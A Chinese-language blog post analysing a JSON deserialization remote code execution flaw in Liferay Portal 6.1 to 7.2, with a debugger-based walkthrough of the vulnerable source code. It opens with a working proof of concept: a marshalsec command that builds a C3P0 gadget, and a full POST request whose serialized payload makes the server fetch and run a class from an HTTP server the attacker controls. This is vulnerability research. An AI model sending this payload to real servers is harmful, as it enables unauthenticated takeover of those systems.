警告
本文最后更新于 2020-03-29 ,文中内容可能已过时。
Code White 公开了 Liferay Portal JSON反序列化RCE漏洞,攻击者可以发送payload到服务器造成远程代码执行。
2020/3/24日,陈师傅在推特上 转发了一篇文章 ,在该文中Code White 公开了 Liferay Portal JSON反序列化RCE漏洞,攻击者可以发送payload到服务器造成远程代码执行,本文是对其的分析。
Liferay Portal 6.1、6.2、7.0、7.1、7.2
下载 https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 tomcat集成包
生成poc
1
java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1:8989/ Exp
本地起http托管Exp.class,请求包
1
2
3
4
5
6
7
POST /api/jsonws/invoke HTTP / 1.1
Host : php.local:8080
Content-Length : 1355
Content-Type : application/x-www-form-urlencoded
Connection : close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3Aaced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a7070707070707070707078740003457870740016687474703a2f2f3132372e302e302e313a383938392f740003466f6f%3B%22%7D
本地起http服务放Exp.class,弹出计算器。
先用一句话概括整个漏洞:在身份认证拒绝之前就反序列化了传入的json Object。
为了方便调试,需要配置下tomcat远程调试,修改liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin\catalina.bat
,首行加入
1
set JAVA_OPTS = -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
idea配置远程tomcat
运行如图就表示debug成功
Liferay Portal 提供了一些api,访问 http://127.0.0.1:8080/api/jsonws
可以看到这些方法。这些方法有几种调用形式:
通过 http://127.0.0.1:8080/api/jsonws/invoke
将要调用的方法和参数通过POST传递调用 通过url的形式调用/api/jsonws/service-class-name/service-method-name
更多可以移步官方文档
Invoking JSON Web Services JSON Web Services Invoker 接下来我们分析下整个api的调度流程。
在web.xml中存在一条API的映射规则/api/jsonws/*
其对应的类为 com.liferay.portal.jsonwebservice.JSONWebServiceServlet
这个类是一个servlet,继承了自己实现的JSONServlet接口
在service方法中,JSONWS_WEB_SERVICE_API_DISCOVERABLE
用来决定API页面是否展示所有的json web服务,其定义在portal.properties中的jsonws.web.service.api.discoverable
属性。
如果JSONWS_WEB_SERVICE_API_DISCOVERABLE
为真,并且path为空或者/
也就是访问http://127.0.0.1:8080/api/jsonws
或者http://127.0.0.1:8080/api/jsonws/
就会列出所有的api列表。
当我们通过invoke调用方法时,进入else分支,进入到其父类 JSONServlet
的 service()
。
进入com.liferay.portal.struts.JSONAction#execute
在rerouteExecute()中会重新检查访问的path,进而checkAuthToken()鉴权,然后通过getJSON()从request获取传入的json
因为并没有传入servletContextName参数,返回false,进入checkAuthToken()
authType为空,直接return,进而进入了com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSON
没有上传异常,进入getJSONWebServiceAction()
返回了一个JSONWebServiceInvokerAction
对象,然后进入JSONWebServiceInvokerAction.invoke()
,在invoke的第一行反序列化了this._command
this._command
是在自身的构造方法中通过传入的cmd参数赋值
漏洞的反序列化点,并不是传入的cmd参数。
接下来就是通过传入的cmd参数来调用不同的api方法
这一块是为了实现批量调用API方法,可以看官方的文档 。
接下来是_parseStatement
获取传入的api方法 _executeStatement
执行
在_parseStatement
时为了兼容传入[]
列表批量调用,参考文档嵌套服务调用
折叠的代码块中就是实现嵌套的代码,在exp中,我们只传入了cmd={"/expandocolumn/add-column":{}}
,所以statement.setMethod(assignment.trim())
为/expandocolumn/add-column
之后进入while就return了。
再来看_executeStatement()
getJSONWebServiceAction()最后返回的是一个JSONWebServiceActionImpl实例
1
2
3
4
5
6
public JSONWebServiceAction getJSONWebServiceAction ( HttpServletRequest httpServletRequest , String path , String method , Map < String , Object > parameterMap ) throws NoSuchJSONWebServiceException {
JSONWebServiceActionParameters jsonWebServiceActionParameters = new JSONWebServiceActionParameters ();
jsonWebServiceActionParameters . collectAll ( httpServletRequest , ( String ) null , ( JSONRPCRequest ) null , parameterMap );
JSONWebServiceActionConfig jsonWebServiceActionConfig = this . _findJSONWebServiceAction ( httpServletRequest , path , method , jsonWebServiceActionParameters );
return new JSONWebServiceActionImpl ( jsonWebServiceActionConfig , jsonWebServiceActionParameters , this . _jsonWebServiceNaming );
}
然后进入com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#invoke
进入_invokeActionMethod()
分别获取Object、Method、actionClass,然后通过_prepareParameters()
获取参数,这个函数也是漏洞关键的函数。
在_prepareParameters()
中,首先通过反射拿到所有的参数
for遍历拿到参数名并处理参数值,当参数值不为空时,会进行类型转换。
1
2
3
4
5
6
7
8
9
Class <?> parameterType = methodParameters [ i ] . getType ();
String parameterTypeName = this . _jsonWebServiceActionParameters . getParameterTypeName ( parameterName );
if ( parameterTypeName != null ) {
ClassLoader classLoader = actionClass . getClassLoader ();
parameterType = classLoader . loadClass ( parameterTypeName );
if ( ! ReflectUtil . isTypeOf ( parameterType , methodParameters [ i ] . getType ())) {
throw new IllegalArgumentException ( StringBundler . concat ( new Object [] { "Unmatched argument type " , parameterType . getName (), " for method argument " , i }));
}
}
通过反射判断api方法参数和传入的参数类型是否一致,如果一致继续运行
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( value . equals ( Void . TYPE )) {
parameterValue = this . _createDefaultParameterValue ( parameterName , parameterType );
} else {
parameterValue = this . _convertValueToParameterValue ( value , parameterType , methodParameters [ i ] . getGenericTypes ());
ServiceContext serviceContext = this . _jsonWebServiceActionParameters . getServiceContext ();
if ( serviceContext != null && parameterName . equals ( "serviceContext" )) {
if ( parameterValue != null && parameterValue instanceof ServiceContext ) {
serviceContext . merge (( ServiceContext ) parameterValue );
}
parameterValue = serviceContext ;
}
}
根据参数类型来进入无参函数_createDefaultParameterValue()
或有参函数_convertValueToParameterValue()
,在_convertValueToParameterValue()
中通过json反序列化传入的参数值,赋值给parameterValue。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
private Object _convertValueToParameterValue ( Object value , Class <?> parameterType , Class <?>[] genericParameterTypes ) {
Object parameterValue ;
String valueString ;
List list ;
if ( parameterType . isArray ()) {
if ( parameterType . isInstance ( value )) {
return value ;
} else {
parameterValue = null ;
if ( value instanceof List ) {
list = ( List ) value ;
} else {
valueString = value . toString ();
valueString = valueString . trim ();
if ( ! valueString . startsWith ( "[" )) {
valueString = "[" . concat ( valueString ). concat ( "]" );
}
list = ( List ) JSONFactoryUtil . looseDeserialize ( valueString , ArrayList . class );
}
return this . _convertListToArray ( list , parameterType . getComponentType ());
}
} else if ( Enum . class . isAssignableFrom ( parameterType )) {
return Enum . valueOf ( parameterType , value . toString ());
} else if ( parameterType . equals ( Calendar . class )) {
Calendar calendar = Calendar . getInstance ();
calendar . setLenient ( false );
valueString = value . toString ();
valueString = valueString . trim ();
long timeInMillis = GetterUtil . getLong ( valueString );
calendar . setTimeInMillis ( timeInMillis );
return calendar ;
} else if ( Collection . class . isAssignableFrom ( parameterType )) {
parameterValue = null ;
if ( value instanceof List ) {
list = ( List ) value ;
} else {
valueString = value . toString ();
valueString = valueString . trim ();
if ( ! valueString . startsWith ( "[" )) {
valueString = "[" . concat ( valueString ). concat ( "]" );
}
list = ( List ) JSONFactoryUtil . looseDeserialize ( valueString , ArrayList . class );
}
return this . _generifyList ( list , genericParameterTypes );
} else if ( parameterType . equals ( Locale . class )) {
String valueString = value . toString ();
valueString = valueString . trim ();
return LocaleUtil . fromLanguageId ( valueString );
} else if ( parameterType . equals ( Map . class )) {
parameterValue = null ;
Map map ;
if ( value instanceof Map ) {
map = ( Map ) value ;
} else {
valueString = value . toString ();
valueString = valueString . trim ();
map = ( Map ) JSONFactoryUtil . looseDeserialize ( valueString , HashMap . class );
}
return this . _generifyMap ( map , genericParameterTypes );
} else {
parameterValue = null ;
try {
parameterValue = this . _convertType ( value , parameterType );
} catch ( Exception var9 ) {
if ( value instanceof Map ) {
try {
parameterValue = this . _createDefaultParameterValue (( String ) null , parameterType );
} catch ( Exception var8 ) {
ClassCastException cce = new ClassCastException ( var9 . getMessage ());
cce . addSuppressed ( var8 );
throw cce ;
}
BeanCopy beanCopy = BeanCopy . beans ( value , parameterValue );
beanCopy . copy ();
} else {
String valueString = value . toString ();
valueString = valueString . trim ();
if ( ! valueString . startsWith ( "{" )) {
throw new ClassCastException ( var9 . getMessage ());
}
parameterValue = JSONFactoryUtil . looseDeserialize ( valueString , parameterType );
}
}
return parameterValue ;
}
}
分别判断是否是Array、Enum、Calendar、Collection、Locale,如果都不是
判断不是map实例并且是以{
开头就反序列化JSONFactoryUtil.looseDeserialize(valueString, parameterType)
,如果parameterType可控,那么就会造成反序列化漏洞。
api的调用基本了解之后,看下漏洞产生的点,根据原作者的思路,在整个jsonwebservice中,只有上文的JSONFactoryUtil.looseDeserialize(valueString, parameterType)
反序列化对象的类是可变的,具体可不可控还需要来看com.liferay.portal.jsonwebservice.JSONWebServiceActionParametersMap#put
。
put方法中,当参数传入:
时,会将_parameterTypes
赋值为截取的key、typeName组成的hashmap,从而上文中的parameterType
可控,进而造成反序列化,而这个功能其实是为了传入Object对象。在127.0.0.1:8080/api/jsonws中搜索Object参数类型,发现多个api均可传入Object。
比如:/expandocolumn/update-column
有反序列化点之后我们还要找到可用的gadget
C3P0v0.9.5.3,虽然ysoserial标的是0.9.5.2,但是@l1nk3r师傅在这篇文章中 也测试了0.9.5.5都可用。
这个洞来来回回折腾了几天,还是自己太菜了,分析完这个洞,觉得只有真正了解了代码的功能,才能进一步深入挖到漏洞。
最后感谢给与帮助的sky@iiusky、chybeta、r4v3zn、ximcx师傅!另寻找一起学Java审计的小伙伴!
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。